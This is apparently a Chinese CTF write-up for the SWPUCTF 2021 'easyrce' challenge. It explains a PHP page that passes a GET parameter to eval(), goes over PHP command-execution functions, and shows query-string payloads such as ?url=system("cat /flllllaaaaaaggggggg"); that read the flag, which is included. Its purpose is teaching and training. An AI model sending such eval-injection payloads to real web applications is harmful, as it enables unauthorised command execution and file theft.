[SWPUCTF 2021 新生赛]easyrce-解题思路

简介: [SWPUCTF 2021 新生赛]easyrce-解题思路

一、对于题目环境中函数的一些理解:

  1. 屏蔽所有报错信息的函数。
    error_reporting(0);
  2. 对文件进行语法高亮显示的函数。
    highlight_file();
  3. 环境中重要的代码段。
    if(isset($_GET['url']))

    isset函数用来检测url变量是否存在;$_GET函数获取变量数据

    {
    eval($_GET['url']);

    eval函数用来执行参数数据,并返回结果,其中字符串当作PHP代码来执行。

    }

二、解题思路:
重要代码段为一中的第3点,我们用来侧重分析。
if(isset($_GET['url']))
{
eval($_GET['url']);
}
if判断语句告诉我们,如果存在url变量则往下面执行eval函数,执行参数并且返回结果。

这里我们需要用到执行外部命令函数(有四种方法):
知识补充:

  1. exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0。

    示例代码:

     <?php
         echo exec("ls",$file);
         echo "</br>";
            `print_r($file);`
         ?>
    

    输出结果:

     test.php
     Array( [0] => index.php [1] => test.php)
    
  2. passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据。

    示例代码:

    <?php
        passthru("ls");
    ?>
    

    输出结果:

    index.phptest.php
    
  3. system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。

    示例代码:

    <?php
        system("ls /");
    ?>
    

    输出结果:

    binbootcgroupdevetchomeliblost+foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar
  4. 反撇号和shell_exec()函数实际上仅是反撇号 (`) 操作符的变体。

    示例代码:

    <?php
        echo `pwd`;
    ?>
    

    输出结果:

    /var/www/html
    

参考地址:https://www.cnblogs.com/gaohj/p/3267692.html

原文链接:

http://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.htmlhttp://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.html
由此可以得出方法3外部执行命令函数更符合我们题目的要求。

三、开始解题,拿flag:

  1. 首先构造payload,并进行url地址重放:

    ?url=system("ls /");

    ?代表拼接

    ls /代表列出目录文件,学过Linux系统的大部分都有所了解。

    代码意思是将外部执行命令ls /的结果赋值给url变量,最后在浏览器中显示结果。

    注意以;英文分号进行闭合。

回显结果:
bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

#发现除了flllllaaaaaaggggggg文件以外都为目录文件,所以猜测flllllaaaaaaggggggg文件中可能包含flag信息。

需注意的是:
?url=system("ls /"); > ?url=system("ls%20/");

#我们的代码重放后发生了变化,是因为重放后浏览器自动进行了url编码!

2.使用cat命令查看flllllaaaaaaggggggg文件中的命令,需注意的是文件在/根目录下:
?url=system("cat /flllllaaaaaaggggggg");

3、进行重放回显flag:
NSSCTF{aa00240d-6bef-4dcd-903f-6a2a26809570}

目录
相关文章
|
2月前
|
存储 人工智能 测试技术
2020年第十一届蓝桥杯模拟赛解题报告
2020年第十一届蓝桥杯模拟赛解题报告
|
9月前
|
存储
[ACTF新生赛2020]easyre 题解
[ACTF新生赛2020]easyre 题解
157 0
|
9月前
|
定位技术
[ACTF新生赛2020]Oruga 题解
[ACTF新生赛2020]Oruga 题解
44 0
|
9月前
|
安全 数据安全/隐私保护
[ACTF新生赛2020]fungame 题解
[ACTF新生赛2020]fungame 题解
84 0
|
11月前
|
算法 Android开发 Kotlin
LeetCode 周赛上分之旅 #42 当 LeetCode 考树上倍增,出题的趋势在变化吗
学习数据结构与算法的关键在于掌握问题背后的算法思维框架,你的思考越抽象,它能覆盖的问题域就越广,理解难度也更复杂。在这个专栏里,小彭与你分享每场 LeetCode 周赛的解题报告,一起体会上分之旅。
100 0
LeetCode 周赛上分之旅 #42 当 LeetCode 考树上倍增,出题的趋势在变化吗
|
算法 测试技术
蓝桥杯2022年第十三届决赛真题-卡牌——二分法
蓝桥杯2022年第十三届决赛真题-卡牌——二分法
102 0
|
人工智能 算法 C++
【每日算法Day 88】超越妹妹教你如何做这道排序题
【每日算法Day 88】超越妹妹教你如何做这道排序题
|
机器学习/深度学习
HZU蓝桥杯校内第二次选拔赛题解
HZU蓝桥杯校内第二次选拔赛题解
62 0
|
机器学习/深度学习 算法
【第十五届蓝桥杯备赛(bushi,写文凑个数)】蓝桥OJ---长草
文章目录 一、题目 1、原题链接 2、题目描述 二、解题报告 1、思路分析 2、时间复杂度 3、代码详解 三、知识风暴 BFS Flood Fill算法
160 0
|
算法 程序员
【算法集训暑期刷题营】7.28题---双指针
【算法集训暑期刷题营】7.28题---双指针
【算法集训暑期刷题营】7.28题---双指针